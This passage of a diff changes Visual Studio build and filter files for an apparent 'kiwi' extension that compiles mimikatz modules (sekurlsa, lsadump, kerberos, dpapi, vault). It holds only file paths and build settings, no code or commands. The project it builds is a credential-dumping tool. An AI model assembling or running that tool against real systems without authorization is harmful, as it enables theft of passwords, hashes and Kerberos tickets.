<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\mimikatz.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\mimikatz_interface.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\kerberos\khul_m_kerberos.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\kerberos\khul_m_kerberos_pac.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\kerberos\khul_m_kerberos_ticket.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\kuhl_m_lsadump.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\kuhl_m_crypto.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\kuhl_m_event.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\kuhl_m_misc.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\kuhl_m_net.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\kuhl_m_privilege.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\kuhl_m_process.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\kuhl_m_service.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\kuhl_m_standard.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\kuhl_m_token.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\kuhl_m_ts.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\kuhl_m_vault.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\sekurlsa\crypto\kuhl_m_sekurlsa_nt5.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\sekurlsa\crypto\kuhl_m_sekurlsa_nt6.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\sekurlsa\crypto\kuhl_m_sekurlsa_nt63.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\sekurlsa\kuhl_m_sekurlsa.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\sekurlsa\kuhl_m_sekurlsa_utils.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\sekurlsa\packages\kuhl_m_sekurlsa_credman.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\sekurlsa\packages\kuhl_m_sekurlsa_dpapi.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\sekurlsa\packages\kuhl_m_sekurlsa_kerberos.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\sekurlsa\packages\kuhl_m_sekurlsa_livessp.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\sekurlsa\packages\kuhl_m_sekurlsa_msv1_0.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\sekurlsa\packages\kuhl_m_sekurlsa_ssp.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\sekurlsa\packages\kuhl_m_sekurlsa_tspkg.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\sekurlsa\packages\kuhl_m_sekurlsa_wdigest.c" />
<ClCompile Include="..\..\source\extensions\kiwi\modules\kull_m_asn1.c" />
<ClCompile Include="..\..\source\extensions\kiwi\modules\kull_m_crypto_system.c" />
<ClCompile Include="..\..\source\extensions\kiwi\modules\kull_m_file.c" />
<ClCompile Include="..\..\source\extensions\kiwi\modules\kull_m_handle.c" />
<ClCompile Include="..\..\source\extensions\kiwi\modules\kull_m_memory.c" />
<ClCompile Include="..\..\source\extensions\kiwi\modules\kull_m_minidump.c" />
<ClCompile Include="..\..\source\extensions\kiwi\modules\kull_m_net.c" />
<ClCompile Include="..\..\source\extensions\kiwi\modules\kull_m_output.c" />
<ClCompile Include="..\..\source\extensions\kiwi\modules\kull_m_patch.c" />
<ClCompile Include="..\..\source\extensions\kiwi\modules\kull_m_process.c" />
<ClCompile Include="..\..\source\extensions\kiwi\modules\kull_m_registry.c" />
<ClCompile Include="..\..\source\extensions\kiwi\modules\kull_m_service.c" />
<ClCompile Include="..\..\source\extensions\kiwi\modules\kull_m_string.c" />
<ClCompile Include="..\..\source\extensions\kiwi\modules\kull_m_token.c" />
<ClInclude Include="..\..\source\extensions\kiwi\main.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\mimikatz.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\dpapi\kuhl_m_dpapi.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\dpapi\kuhl_m_dpapi_oe.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\dpapi\packages\kuhl_m_dpapi_chrome.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\dpapi\packages\kuhl_m_dpapi_creds.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\dpapi\packages\kuhl_m_dpapi_keys.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\dpapi\packages\kuhl_m_dpapi_wlan.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\kerberos\kuhl_m_kerberos.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\kerberos\kuhl_m_kerberos_ccache.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\kerberos\kuhl_m_kerberos_pac.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\kerberos\kuhl_m_kerberos_ticket.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\kuhl_m.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\kuhl_m_busylight.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\kuhl_m_crypto.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\kuhl_m_event.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\kuhl_m_iis.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\kuhl_m_kernel.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\kuhl_m_lsadump.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\kuhl_m_lsadump_remote.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\kuhl_m_minesweeper.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\kuhl_m_misc.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\kuhl_m_net.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\kuhl_m_privilege.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\kuhl_m_process.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\kuhl_m_service.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\kuhl_m_service_remote.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\kuhl_m_sid.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\kuhl_m_standard.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\kuhl_m_sysenvvalue.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\kuhl_m_token.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\kuhl_m_ts.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\kuhl_m_vault.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\sekurlsa\crypto\kuhl_m_sekurlsa_nt5.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\sekurlsa\crypto\kuhl_m_sekurlsa_nt6.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\sekurlsa\crypto\kuhl_m_sekurlsa_nt63.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\sekurlsa\globals_sekurlsa.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\sekurlsa\kuhl_m_sekurlsa.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\sekurlsa\kuhl_m_sekurlsa_utils.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\sekurlsa\packages\kuhl_m_sekurlsa_credman.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\sekurlsa\packages\kuhl_m_sekurlsa_dpapi.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\sekurlsa\packages\kuhl_m_sekurlsa_kerberos.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\sekurlsa\packages\kuhl_m_sekurlsa_livessp.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\sekurlsa\packages\kuhl_m_sekurlsa_msv1_0.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\sekurlsa\packages\kuhl_m_sekurlsa_ssp.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\sekurlsa\packages\kuhl_m_sekurlsa_tspkg.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\sekurlsa\packages\kuhl_m_sekurlsa_wdigest.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kull_m_asn1.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kull_m_busylight.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kull_m_busylight_hid.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kull_m_cred.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kull_m_crypto.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kull_m_crypto_system.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kull_m_dpapi.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kull_m_file.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kull_m_handle.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kull_m_kernel.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kull_m_key.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kull_m_memory.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kull_m_minidump.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kull_m_net.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kull_m_output.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kull_m_patch.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kull_m_process.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kull_m_registry.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kull_m_registry_structures.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kull_m_remotelib.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kull_m_samlib.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kull_m_service.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kull_m_string.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kull_m_token.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kull_m_xml.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\rpc\kull_m_rpc.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\rpc\kull_m_rpc_bkrp.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\rpc\kull_m_rpc_dpapi-entries.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\rpc\kull_m_rpc_drsr.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\rpc\kull_m_rpc_ms-bkrp.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\rpc\kull_m_rpc_ms-credentialkeys.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\rpc\kull_m_rpc_ms-drsr.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\rpc\kull_m_rpc_ms-pac.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\sqlite3_omit.h" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">

@ -1,310 +1,496 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\mimikatz.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\main.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\sekurlsa\crypto\kuhl_m_sekurlsa_nt5.h">
<Filter>modules\sekurlsa\crypto</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\sekurlsa\crypto\kuhl_m_sekurlsa_nt6.h">
<Filter>modules\sekurlsa\crypto</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\sekurlsa\crypto\kuhl_m_sekurlsa_nt63.h">
<Filter>modules\sekurlsa\crypto</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\sekurlsa\packages\kuhl_m_sekurlsa_wdigest.h">
<Filter>modules\sekurlsa\packages</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\sekurlsa\packages\kuhl_m_sekurlsa_dpapi.h">
<Filter>modules\sekurlsa\packages</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\sekurlsa\packages\kuhl_m_sekurlsa_kerberos.h">
<Filter>modules\sekurlsa\packages</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\sekurlsa\packages\kuhl_m_sekurlsa_livessp.h">
<Filter>modules\sekurlsa\packages</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\sekurlsa\packages\kuhl_m_sekurlsa_msv1_0.h">
<Filter>modules\sekurlsa\packages</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\sekurlsa\packages\kuhl_m_sekurlsa_ssp.h">
<Filter>modules\sekurlsa\packages</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\sekurlsa\packages\kuhl_m_sekurlsa_tspkg.h">
<Filter>modules\sekurlsa\packages</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\sekurlsa\globals_sekurlsa.h">
<Filter>modules\sekurlsa</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\sekurlsa\kuhl_m_sekurlsa.h">
<Filter>modules\sekurlsa</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\sekurlsa\kuhl_m_sekurlsa_utils.h">
<Filter>modules\sekurlsa</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kuhl_m_event.h">
<Filter>modules</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kuhl_m_misc.h">
<Filter>modules</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kuhl_m_net.h">
<Filter>modules</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kuhl_m_privilege.h">
<Filter>modules</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kuhl_m_service.h">
<Filter>modules</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kuhl_m_standard.h">
<Filter>modules</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kuhl_m_token.h">
<Filter>modules</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kuhl_m_ts.h">
<Filter>modules</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kuhl_m.h">
<Filter>modules</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kuhl_m_crypto.h">
<Filter>modules</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\modules\kull_m_memory.h">
<Filter>common</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\modules\kull_m_minidump.h">
<Filter>common</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\modules\kull_m_net.h">
<Filter>common</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\modules\kull_m_output.h">
<Filter>common</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\modules\kull_m_patch.h">
<Filter>common</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\modules\kull_m_process.h">
<Filter>common</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\modules\kull_m_registry.h">
<Filter>common</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\modules\kull_m_registry_structures.h">
<Filter>common</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\modules\kull_m_service.h">
<Filter>common</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\modules\kull_m_string.h">
<Filter>common</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\modules\kull_m_token.h">
<Filter>common</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\modules\kull_m_crypto_system.h">
<Filter>common</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\modules\kull_m_file.h">
<Filter>common</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\modules\kull_m_handle.h">
<Filter>common</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\mimikatz_interface.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kuhl_m_process.h">
<Filter>modules</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\debug.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kerberos\khul_m_kerberos_ticket.h">
<Filter>modules\kerberos</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kerberos\khul_m_kerberos.h">
<Filter>modules\kerberos</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kerberos\khul_m_kerberos_pac.h">
<Filter>modules\kerberos</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\modules\kull_m_asn1.h">
<Filter>common</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kuhl_m_vault.h">
<Filter>modules</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\modules\kull_m_rpce.h">
<Filter>common</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kuhl_m_lsadump.h">
<Filter>modules</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kuhl_m_lsadump_struct.h">
<Filter>modules</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kerberos\khul_m_kerberos_struct.h">
<Filter>modules\kerberos</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\modules\kull_m_samlib.h">
<Filter>common</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kuhl_m_misc_struct.h">
<Filter>modules</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\sekurlsa\packages\kuhl_m_sekurlsa_credman.h">
<Filter>modules\sekurlsa\packages</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\sekurlsa\crypto\kuhl_m_sekurlsa_nt5.c">
<Filter>modules\sekurlsa\crypto</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\sekurlsa\crypto\kuhl_m_sekurlsa_nt6.c">
<Filter>modules\sekurlsa\crypto</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\sekurlsa\crypto\kuhl_m_sekurlsa_nt63.c">
<Filter>modules\sekurlsa\crypto</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\sekurlsa\packages\kuhl_m_sekurlsa_dpapi.c">
<Filter>modules\sekurlsa\packages</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\sekurlsa\packages\kuhl_m_sekurlsa_kerberos.c">
<Filter>modules\sekurlsa\packages</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\sekurlsa\packages\kuhl_m_sekurlsa_livessp.c">
<Filter>modules\sekurlsa\packages</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\sekurlsa\packages\kuhl_m_sekurlsa_msv1_0.c">
<Filter>modules\sekurlsa\packages</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\sekurlsa\packages\kuhl_m_sekurlsa_ssp.c">
<Filter>modules\sekurlsa\packages</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\sekurlsa\packages\kuhl_m_sekurlsa_tspkg.c">
<Filter>modules\sekurlsa\packages</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\sekurlsa\packages\kuhl_m_sekurlsa_wdigest.c">
<Filter>modules\sekurlsa\packages</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\sekurlsa\kuhl_m_sekurlsa.c">
<Filter>modules\sekurlsa</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\sekurlsa\kuhl_m_sekurlsa_utils.c">
<Filter>modules\sekurlsa</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\kuhl_m_event.c">
<Filter>modules</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\kuhl_m_misc.c">
<Filter>modules</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\kuhl_m_net.c">
<Filter>modules</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\kuhl_m_privilege.c">
<Filter>modules</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\kuhl_m_service.c">
<Filter>modules</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\kuhl_m_standard.c">
<Filter>modules</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\kuhl_m_token.c">
<Filter>modules</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\kuhl_m_ts.c">
<Filter>modules</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\kuhl_m_crypto.c">
<Filter>modules</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\modules\kull_m_memory.c">
<Filter>common</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\modules\kull_m_minidump.c">
<Filter>common</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\modules\kull_m_net.c">
<Filter>common</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\modules\kull_m_output.c">
<Filter>common</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\modules\kull_m_patch.c">
<Filter>common</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\modules\kull_m_process.c">
<Filter>common</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\modules\kull_m_registry.c">
<Filter>common</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\modules\kull_m_service.c">
<Filter>common</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\modules\kull_m_string.c">
<Filter>common</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\modules\kull_m_token.c">
<Filter>common</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\modules\kull_m_file.c">
<Filter>common</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\modules\kull_m_handle.c">
<Filter>common</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\mimikatz.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\main.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\kuhl_m_process.c">
<Filter>modules</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\kerberos\khul_m_kerberos.c">
<Filter>modules\kerberos</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\kerberos\khul_m_kerberos_pac.c">
<Filter>modules\kerberos</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\kerberos\khul_m_kerberos_ticket.c">
<Filter>modules\kerberos</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\modules\kull_m_asn1.c">
<Filter>common</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\modules\kull_m_crypto_system.c">
<Filter>common</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\mimikatz_interface.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\kuhl_m_vault.c">
<Filter>modules</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\kuhl_m_lsadump.c">
<Filter>modules</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\sekurlsa\packages\kuhl_m_sekurlsa_credman.c">
<Filter>modules\sekurlsa\packages</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<Filter Include="modules">
<UniqueIdentifier>{13ffa92d-8ff8-4c66-a730-5d78e96cb160}</UniqueIdentifier>
</Filter>
<Filter Include="modules\sekurlsa">
<UniqueIdentifier>{eb780ec1-e1b4-4174-8864-9502bebc3560}</UniqueIdentifier>
</Filter>
<Filter Include="modules\sekurlsa\crypto">
<UniqueIdentifier>{fcf23f14-5de4-4230-855a-356084996b8e}</UniqueIdentifier>
</Filter>
<Filter Include="modules\sekurlsa\packages">
<UniqueIdentifier>{5a5bd087-7d12-49a2-9874-a5590ab79572}</UniqueIdentifier>
</Filter>
<Filter Include="common">
<UniqueIdentifier>{2e0459a7-4fb1-4ab1-bd0c-19838dd687f5}</UniqueIdentifier>
</Filter>
<Filter Include="modules\kerberos">
<UniqueIdentifier>{5374951f-d821-4598-80fa-ad04f61d7000}</UniqueIdentifier>
</Filter>
</ItemGroup>
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<ClCompile Include="..\..\source\extensions\kiwi\main.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\mimikatz.c" />
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\kuhl_m_service.c">
<Filter>local modules</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\kuhl_m_service_remote.c">
<Filter>local modules</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\kuhl_m_sid.c">
<Filter>local modules</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\kuhl_m_standard.c">
<Filter>local modules</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\kuhl_m_sysenvvalue.c">
<Filter>local modules</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\kuhl_m_token.c">
<Filter>local modules</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\kuhl_m_ts.c">
<Filter>local modules</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\kuhl_m_vault.c">
<Filter>local modules</Filter>
